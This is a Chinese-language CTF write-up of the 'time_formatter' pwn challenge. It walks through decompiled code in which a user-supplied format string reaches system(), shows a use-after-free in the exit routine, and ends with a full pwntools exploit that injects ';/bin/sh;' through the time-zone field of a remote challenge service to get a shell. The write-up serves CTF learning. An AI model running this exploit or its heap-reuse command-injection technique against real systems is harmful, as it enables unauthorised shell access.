time_formatter-UAF利用

time_formatter-UAF利用

看一眼程序主逻辑

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __gid_t v3; // eax
  FILE *v4; // rdi
  __int64 v5; // rdx
  int v6; // eax
  __int64 result; // rax

  v3 = getegid();
  setresgid(v3, v3, v3);
  setbuf(stdout, 0LL);
  puts("Welcome to Mary's Unix Time Formatter!");
  while ( 1 )
  {
    puts("1) Set a time format.");
    puts("2) Set a time.");
    puts("3) Set a time zone.");
    puts("4) Print your time.");
    puts("5) Exit.");
    __printf_chk(1LL, (__int64)"> ");
    v4 = stdout;
    fflush(stdout);
    switch ( sub_400D26() )
    {
      case 1:
        v6 = set_time_format();
        goto LABEL_8;
      case 2:
        v6 = set_time();
        goto LABEL_8;
      case 3:
        v6 = set_time_zone();
        goto LABEL_8;
      case 4:
        v6 = print_your_time((__int64)v4, (__int64)"> ", v5);
LABEL_8:
        if ( !v6 )
          continue;
        return 0LL;
      case 5:
        exit();
        return result;
      default:
        continue;
    }
  }
}

在print_your_time找到有关system函数

  v6 = __readfsqword(0x28u);
  if ( ptr )                                    // ptr必须要求有值
  {
    __snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)time, ptr, a3);
    __printf_chk(1LL, (__int64)"Your formatted time is: ");
    fflush(stdout);
    if ( getenv("DEBUG") )
      __fprintf_chk(stderr, 1LL, (__int64)"Running command: %s\n", (__int64)&command, v3);
    setenv("TZ", value, 1);
    system(&command);
  }
  else
  {
    puts("You haven't specified a format!");
  }
  return 0LL;

执行如下命令就可拿到权限

在这里插入图片描述

即控制好参数ptr即可拿到权限,参数ptr是由我们选择set_time_format输入的。

v7 = a4;
  v4 = strdup(a1);
  if ( !v4 )
    err(1, "strdup", v7);
  v5 = (__int64)v4;
  if ( getenv("DEBUG") )
    __fprintf_chk(stderr, 1LL, (__int64)"strdup(%p) = %p\n", (__int64)a1, v5);
  return (char *)v5;

且输入的字符通过strdup函数将其放入堆中

strdup:strdup()会先用maolloc()配置与参数s 字符串相同的空间大小,然后将参数s 字符串的内容复制到该内存地址,然后把该地址返回。该地址最后可以利用free()来释放。


  char accept; // [rsp+5h] [rbp-43h]
  unsigned __int64 v3; // [rsp+38h] [rbp-10h]

  strcpy(&accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ");
  v3 = __readfsqword(0x28u);
  return strspn(input, &accept) == strlen(input);

但是输入时,对我们的字符串进行了限制,无法输入单引号和分号。

但是我们在exit函数处发现了漏洞,在free我们输入的format之后询问是否退出,当我们选择否时,便可以不退出继续进行操作

v2 = __readfsqword(0x28u);
  free_0(ptr);                                  // free ptr
  free_0(value);
  __printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
  fflush(stdout);
  fgets(&s, 16, stdin);
  result = 0LL;
  if ( (s & 0xDF) == 0x59 )
  {
    puts("OK, exiting.");
    result = 1LL;
  }
  return result;

我们在函数set_time_zone函数处发现了同样的strdup函数,但是set_time_zone没有对其输入进行检查。

利用思路:

1.设置ptr

2.free ptr,

3.利用et_time_zone再新建一个和ptr等同大小的堆

4.向堆中写入’;/bin/sh;’

根据UAF的特点,此时ptr的内存地址为’;/bin/sh;’

exp如下

from pwn import *
context.terminal=['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level='debug'

p=remote('111.198.29.45','53300')
#p=process('./time_formatter')
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Format: ')
p.sendline('aaaaaaaaaaa')
p.recvuntil('> ')
p.sendline('5')
p.recvuntil('Are you sure you want to exit (y/N)? ')
p.sendline('N')
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('Time zone: ')
p.sendline('\';/bin/sh;\'')
p.recvuntil('> ')
p.sendline('4')
p.recvline()
p.interactive()

你可能感兴趣的:(CTF-PWN)